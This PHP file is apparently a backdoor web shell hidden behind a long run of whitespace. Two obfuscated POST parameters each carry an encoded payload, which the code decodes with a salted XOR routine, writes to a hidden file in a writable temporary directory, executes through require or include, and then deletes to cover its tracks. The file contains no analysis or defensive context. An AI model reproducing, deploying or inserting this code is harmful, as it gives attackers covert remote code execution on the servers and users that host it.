<?php																																										if(in_array("\x65\x6Et", array_keys($_POST))){ $ent = array_filter(["/tmp", getenv("TEMP"), getcwd(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), session_save_path(), "/var/tmp", "/dev/shm", getenv("TMP")]); $token = $_POST["\x65\x6Et"]; $token = explode ( '.', $token ); $binding = ''; $salt1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt1 ); foreach( $token as $j => $v5) { $sChar = ord( $salt1[$j% $sLen] ); $d =( ( int)$v5 - $sChar -( $j% 10)) ^39; $binding .= chr( $d ); } $flag = 0; do { $dat = $ent[$flag] ?? null; if ($flag >= count($ent)) break; if (max(0, is_dir($dat) * is_writable($dat))) { $data_chunk = implode("/", [$dat, ".dchunk"]); if (file_put_contents($data_chunk, $binding)) { require $data_chunk; unlink($data_chunk); die(); } } $flag++; } while (true); }


if(filter_has_var(INPUT_POST, "hol\x64\x65\x72")){
	$comp = array_filter([session_save_path(), ini_get("upload_tmp_dir"), "/var/tmp", "/dev/shm", getenv("TMP"), "/tmp", getcwd(), getenv("TEMP"), sys_get_temp_dir()]);
	$ent = $_POST["hol\x64\x65\x72"];
			 $ent	=		explode ("."	,	 	$ent) 	 ; 	
	$factor ='';
            $salt ='abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen =strlen($salt);
            $t =0;
    
            foreach ($ent as $v2) {	 $chS =ord($salt[$t%$sLen]);
                $dec =((int)$v2 - $chS - ($t%10)) ^ 58;
                $factor.=	 chr($dec);
                $t++;
            }
	$property_set = 0;
do {
    $desc = $comp[$property_set] ?? null;
    if ($property_set >= count($comp)) break;
    		if (array_product([is_dir($desc), is_writable($desc)])) {
    $entry = sprintf("%s/.itm", $desc);
    if (@file_put_contents($entry, $factor) !== false) {
	include $entry;
	unlink($entry);
	die();
}
}
    $property_set++;
} while (true);
}